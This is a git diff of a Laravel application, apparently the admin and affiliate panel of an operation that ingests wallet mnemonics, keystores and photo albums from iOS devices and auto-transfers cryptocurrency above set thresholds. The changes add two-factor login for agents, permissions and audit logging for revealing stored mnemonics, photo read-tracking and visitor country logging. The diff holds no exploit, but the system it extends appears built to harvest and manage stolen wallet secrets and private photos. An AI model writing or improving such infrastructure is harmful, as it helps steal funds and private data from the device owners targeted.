'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
]);
|
||||
$settings->putMany($payload);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
@@ -31,12 +32,13 @@ class AuthController extends Controller
|
||||
return view('user.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request): JsonResponse
|
||||
public function login(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||
{
|
||||
try {
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string|min:2|max:64',
|
||||
'password' => 'required|string|max:128',
|
||||
'GACode' => 'nullable|string|max:16',
|
||||
], [
|
||||
'username.required' => '请输入用户名',
|
||||
'password.required' => '请输入密码',
|
||||
@@ -75,6 +77,23 @@ class AuthController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||
}
|
||||
|
||||
/** @var User $user */
|
||||
$user = Auth::guard('agent')->user();
|
||||
if ($user->requiresLoginGoogle()) {
|
||||
$code = (string) ($credentials['GACode'] ?? '');
|
||||
if ($code === '') {
|
||||
Auth::guard('agent')->logout();
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '请输入谷歌验证码!']);
|
||||
}
|
||||
if (! $google2fa->verify((string) $user->google_secret, $code)) {
|
||||
Auth::guard('agent')->logout();
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确!']);
|
||||
}
|
||||
}
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
$request->session()->regenerate();
|
||||
|
||||
|
||||
@@ -30,6 +30,19 @@ trait PortalAware
|
||||
return $user;
|
||||
}
|
||||
|
||||
/** @return array{0: string|null, 1: int|null} */
|
||||
protected function viewerActor(): array
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
$agent = $this->agent();
|
||||
|
||||
return $agent ? ['agent', (int) $agent->id] : [null, null];
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin ? ['admin', (int) $admin->id] : [null, null];
|
||||
}
|
||||
|
||||
protected function routeName(string $suffix): string
|
||||
{
|
||||
return $this->portal().'.'.$suffix;
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Concerns;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletMnemonic;
|
||||
|
||||
trait RevealsMnemonics
|
||||
{
|
||||
protected function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
$agent = $this->agent();
|
||||
|
||||
return $agent instanceof User && $agent->canRevealMnemonics();
|
||||
}
|
||||
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
protected function googleBoundForReveal(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
$agent = $this->agent();
|
||||
|
||||
return $agent instanceof User && $agent->hasGoogleBound();
|
||||
}
|
||||
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
|
||||
protected function mnemonicRevealUrl(int|string|WalletMnemonic $mnemonic): string
|
||||
{
|
||||
return route($this->portal().'.mnemonics.reveal', $mnemonic);
|
||||
}
|
||||
|
||||
protected function google2faUrl(): string
|
||||
{
|
||||
return route($this->portal().'.security.google2fa');
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers;
|
||||
use App\Jobs\RecordPageHit;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
@@ -53,6 +54,7 @@ class PageHitController extends Controller
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'country' => CfIpCountry::fromRequest($request),
|
||||
'domain' => $domain,
|
||||
'referer' => $referer,
|
||||
];
|
||||
|
||||
@@ -50,6 +50,6 @@ class Admin extends Authenticatable
|
||||
|
||||
public function canRevealMnemonics(): bool
|
||||
{
|
||||
return $this->isSuper();
|
||||
return $this->isSuper() || (bool) config('coruna.mnemonic_reveal.staff_enabled');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use App\Support\CfIpCountry;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class PageVisit extends Model
|
||||
@@ -23,6 +24,7 @@ class PageVisit extends Model
|
||||
'browser',
|
||||
'browser_version',
|
||||
'ip',
|
||||
'country',
|
||||
'domain',
|
||||
'referer',
|
||||
'created_at',
|
||||
@@ -133,6 +135,10 @@ class PageVisit extends Model
|
||||
$updates['client_uid'] = substr($uid, 0, 64);
|
||||
}
|
||||
}
|
||||
$incomingCountry = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
|
||||
if ($incomingCountry && trim((string) ($existing->country ?? '')) === '') {
|
||||
$updates['country'] = $incomingCountry;
|
||||
}
|
||||
foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) {
|
||||
$incoming = $attrs[$field] ?? null;
|
||||
if (! is_string($incoming) || trim($incoming) === '') {
|
||||
@@ -153,6 +159,7 @@ class PageVisit extends Model
|
||||
|
||||
$attrs['chain'] = $chain;
|
||||
$attrs['created_at'] = $attrs['created_at'] ?? now();
|
||||
$attrs['country'] = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
|
||||
|
||||
return static::query()->create($attrs);
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
@@ -25,4 +26,9 @@ class Photo extends Model
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function reads(): HasMany
|
||||
{
|
||||
return $this->hasMany(PhotoRead::class);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\Relation;
|
||||
|
||||
class PhotoRead extends Model
|
||||
{
|
||||
public $timestamps = false;
|
||||
|
||||
protected $fillable = [
|
||||
'photo_id',
|
||||
'actor_guard',
|
||||
'actor_id',
|
||||
'read_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'read_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public function photo(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Photo::class);
|
||||
}
|
||||
|
||||
public static function mark(Photo $photo, string $guard, int $actorId): void
|
||||
{
|
||||
static::query()->firstOrCreate(
|
||||
[
|
||||
'photo_id' => $photo->id,
|
||||
'actor_guard' => $guard,
|
||||
'actor_id' => $actorId,
|
||||
],
|
||||
['read_at' => now()],
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<int> $photoIds
|
||||
* @return list<int>
|
||||
*/
|
||||
public static function readPhotoIds(string $guard, int $actorId, array $photoIds): array
|
||||
{
|
||||
if ($photoIds === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return static::query()
|
||||
->where('actor_guard', $guard)
|
||||
->where('actor_id', $actorId)
|
||||
->whereIn('photo_id', $photoIds)
|
||||
->pluck('photo_id')
|
||||
->map(static fn ($id) => (int) $id)
|
||||
->all();
|
||||
}
|
||||
|
||||
public static function applyFilter(Builder|Relation $q, string $guard, int $actorId, string $photoIdColumn, mixed $read): void
|
||||
{
|
||||
$flag = self::parseReadFilter($read);
|
||||
if ($flag === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$exists = function ($sub) use ($guard, $actorId, $photoIdColumn) {
|
||||
$sub->from('photo_reads')
|
||||
->whereColumn('photo_reads.photo_id', $photoIdColumn)
|
||||
->where('photo_reads.actor_guard', $guard)
|
||||
->where('photo_reads.actor_id', $actorId);
|
||||
};
|
||||
|
||||
if ($flag) {
|
||||
$q->whereExists($exists);
|
||||
} else {
|
||||
$q->whereNotExists($exists);
|
||||
}
|
||||
}
|
||||
|
||||
public static function parseReadFilter(mixed $raw): ?bool
|
||||
{
|
||||
if ($raw === null) {
|
||||
return null;
|
||||
}
|
||||
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||
if ($value === '' || $value === 'all') {
|
||||
return null;
|
||||
}
|
||||
if ($value === 0 || $value === '0' || $value === 'unread') {
|
||||
return false;
|
||||
}
|
||||
if ($value === 1 || $value === '1' || $value === 'read') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class SystemLog extends Model
|
||||
{
|
||||
public const ACTION_MNEMONIC_REVEAL = 'mnemonic_reveal';
|
||||
|
||||
public const UPDATED_AT = null;
|
||||
|
||||
protected $fillable = [
|
||||
'action',
|
||||
'actor_guard',
|
||||
'actor_id',
|
||||
'actor_username',
|
||||
'content',
|
||||
'ip',
|
||||
'created_at',
|
||||
];
|
||||
|
||||
/** @return array<string, string> */
|
||||
public static function actionLabels(): array
|
||||
{
|
||||
return [
|
||||
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
|
||||
];
|
||||
}
|
||||
|
||||
public function actorRoleLabel(): string
|
||||
{
|
||||
return match ($this->actor_guard) {
|
||||
'admin' => '管理员',
|
||||
'agent' => '代理',
|
||||
default => $this->actor_guard ?: '—',
|
||||
};
|
||||
}
|
||||
|
||||
public static function record(
|
||||
Admin|User $actor,
|
||||
string $guard,
|
||||
string $action,
|
||||
string $content,
|
||||
?Request $request = null,
|
||||
): self {
|
||||
return static::query()->create([
|
||||
'action' => $action,
|
||||
'actor_guard' => $guard,
|
||||
'actor_id' => $actor->id,
|
||||
'actor_username' => (string) $actor->username,
|
||||
'content' => $content,
|
||||
'ip' => $request?->ip(),
|
||||
]);
|
||||
}
|
||||
|
||||
public static function recordMnemonicReveal(
|
||||
Admin|User $actor,
|
||||
string $guard,
|
||||
WalletMnemonic $mnemonic,
|
||||
?Request $request = null,
|
||||
): self {
|
||||
$device = $mnemonic->relationLoaded('device')
|
||||
? $mnemonic->device
|
||||
: $mnemonic->device()->first();
|
||||
|
||||
$parts = ['#'.$mnemonic->id];
|
||||
if ($device?->device_id) {
|
||||
$parts[] = '设备 '.$device->device_id;
|
||||
}
|
||||
if ($device?->channel_id) {
|
||||
$parts[] = '渠道 '.$device->channel_id;
|
||||
}
|
||||
if ($mnemonic->source) {
|
||||
$parts[] = '来源 '.$mnemonic->source;
|
||||
}
|
||||
|
||||
return static::record(
|
||||
$actor,
|
||||
$guard,
|
||||
self::ACTION_MNEMONIC_REVEAL,
|
||||
'查看助记词 '.implode(',', $parts),
|
||||
$request,
|
||||
);
|
||||
}
|
||||
}
|
||||
+31
-3
@@ -15,10 +15,11 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_eth',
|
||||
'auto_transfer_threshold_btc',
|
||||
'album_storage_default',
|
||||
'can_reveal_mnemonics',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
'password', 'remember_token', 'bot_token',
|
||||
'password', 'remember_token', 'bot_token', 'google_secret',
|
||||
];
|
||||
|
||||
protected static function booted(): void
|
||||
@@ -41,11 +42,14 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||
'album_storage_default' => 'boolean',
|
||||
'can_reveal_mnemonics' => 'boolean',
|
||||
'google_auth_open' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
protected $attributes = [
|
||||
'album_storage_default' => false,
|
||||
'can_reveal_mnemonics' => false,
|
||||
];
|
||||
|
||||
public function isEnabled(): bool
|
||||
@@ -63,9 +67,30 @@ class User extends Authenticatable
|
||||
return (bool) ($this->album_storage_default ?? false);
|
||||
}
|
||||
|
||||
public function mnemonicRevealEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->can_reveal_mnemonics ?? false);
|
||||
}
|
||||
|
||||
public function canRevealMnemonics(): bool
|
||||
{
|
||||
return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled();
|
||||
}
|
||||
|
||||
public function hasGoogleBound(): bool
|
||||
{
|
||||
return filled($this->google_secret);
|
||||
}
|
||||
|
||||
public function requiresLoginGoogle(): bool
|
||||
{
|
||||
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* New-device album_storage default for a channel.
|
||||
* Agent channels use that agent's switch (defaults off). Official / unknown stay off.
|
||||
* Agent channels use that agent's switch. Official channels use the system switch.
|
||||
* Unknown channel IDs stay off.
|
||||
*/
|
||||
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
||||
{
|
||||
@@ -75,9 +100,12 @@ class User extends Authenticatable
|
||||
}
|
||||
|
||||
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
if ($userId === null) {
|
||||
return false;
|
||||
}
|
||||
if ((int) $userId === Channel::OFFICIAL_USER_ID) {
|
||||
return (bool) config('coruna.album_storage.official_default');
|
||||
}
|
||||
|
||||
$agent = static::query()->find((int) $userId);
|
||||
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Admin;
|
||||
use BaconQrCode\Renderer\Image\SvgImageBackEnd;
|
||||
use BaconQrCode\Renderer\ImageRenderer;
|
||||
use BaconQrCode\Renderer\RendererStyle\RendererStyle;
|
||||
@@ -33,11 +32,11 @@ class AdminGoogle2fa
|
||||
return (bool) $this->google2fa->verifyKey($secret, $code);
|
||||
}
|
||||
|
||||
public function otpAuthUrl(Admin $admin, string $secret): string
|
||||
public function otpAuthUrl(string $username, string $secret, string $label = 'admin'): string
|
||||
{
|
||||
$issuer = (string) config('app.name', 'Coruna Lab');
|
||||
|
||||
return $this->google2fa->getQRCodeUrl($issuer, $admin->username.'@admin', $secret);
|
||||
return $this->google2fa->getQRCodeUrl($issuer, $username.'@'.$label, $secret);
|
||||
}
|
||||
|
||||
public function qrSvg(string $otpAuthUrl, int $size = 200): string
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -165,6 +166,7 @@ class DarkSwordIngestAdapter
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'country' => CfIpCountry::fromRequest($request),
|
||||
'domain' => PageVisit::normalizeDomain($request->getHost()),
|
||||
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
|
||||
], PageVisit::chainFromIosVersion($os, $osVersion));
|
||||
|
||||
@@ -14,6 +14,7 @@ class SettingsService
|
||||
public const ENV_KEYS = [
|
||||
'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
|
||||
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
|
||||
'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
|
||||
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
|
||||
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
|
||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||
@@ -35,6 +36,7 @@ class SettingsService
|
||||
'telegram.bot_token' => config('coruna.telegram.bot_token'),
|
||||
'telegram.bot_username' => config('coruna.telegram.bot_username'),
|
||||
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
|
||||
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||
@@ -97,6 +99,7 @@ class SettingsService
|
||||
return [
|
||||
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
|
||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
|
||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||
@@ -133,6 +136,7 @@ class SettingsService
|
||||
match ($key) {
|
||||
'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
|
||||
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
|
||||
'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
|
||||
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
|
||||
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
|
||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
/**
|
||||
* Cloudflare CF-IPCountry: ISO 3166-1 alpha-2, plus T1 (Tor) and XX (unknown).
|
||||
*/
|
||||
final class CfIpCountry
|
||||
{
|
||||
public static function fromRequest(Request $request): ?string
|
||||
{
|
||||
return self::normalize($request->headers->get('CF-IPCountry'));
|
||||
}
|
||||
|
||||
public static function normalize(?string $raw): ?string
|
||||
{
|
||||
$code = strtoupper(trim((string) $raw));
|
||||
if ($code === 'T1') {
|
||||
return 'T1';
|
||||
}
|
||||
if (preg_match('/^[A-Z]{2}$/', $code) !== 1) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $code;
|
||||
}
|
||||
|
||||
public static function label(?string $code): string
|
||||
{
|
||||
$code = self::normalize($code);
|
||||
if ($code === null) {
|
||||
return '';
|
||||
}
|
||||
|
||||
return self::names()[$code] ?? $code;
|
||||
}
|
||||
|
||||
/** @return array<string, string> */
|
||||
public static function names(): array
|
||||
{
|
||||
return [
|
||||
'AE' => '阿联酋',
|
||||
'AU' => '澳大利亚',
|
||||
'BR' => '巴西',
|
||||
'CA' => '加拿大',
|
||||
'CN' => '中国',
|
||||
'DE' => '德国',
|
||||
'ES' => '西班牙',
|
||||
'FR' => '法国',
|
||||
'GB' => '英国',
|
||||
'HK' => '香港',
|
||||
'ID' => '印尼',
|
||||
'IN' => '印度',
|
||||
'IT' => '意大利',
|
||||
'JP' => '日本',
|
||||
'KR' => '韩国',
|
||||
'MO' => '澳门',
|
||||
'MY' => '马来西亚',
|
||||
'NL' => '荷兰',
|
||||
'PH' => '菲律宾',
|
||||
'RU' => '俄罗斯',
|
||||
'SA' => '沙特',
|
||||
'SG' => '新加坡',
|
||||
'TH' => '泰国',
|
||||
'TR' => '土耳其',
|
||||
'TW' => '台湾',
|
||||
'US' => '美国',
|
||||
'VN' => '越南',
|
||||
'T1' => 'Tor',
|
||||
'XX' => '未知',
|
||||
];
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user